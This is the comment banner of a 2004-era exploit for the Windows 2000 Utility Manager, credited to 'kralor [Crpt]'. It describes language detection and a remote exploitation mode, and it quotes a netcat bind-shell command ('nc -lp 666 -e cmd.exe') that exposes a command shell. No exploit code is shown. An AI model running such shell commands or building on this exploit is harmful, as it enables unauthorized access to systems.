*****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
** [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt] **
*******************************************************************************************
** It gets system language and sets windows names to work on any win2k :P **
** Feel free to add other languages :) **
** v2.666: added autonomous (allinone) remote exploitation system ;) **
** It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
** normal user account). Must be called with an argument (any argument) **
** You know where we are.. **
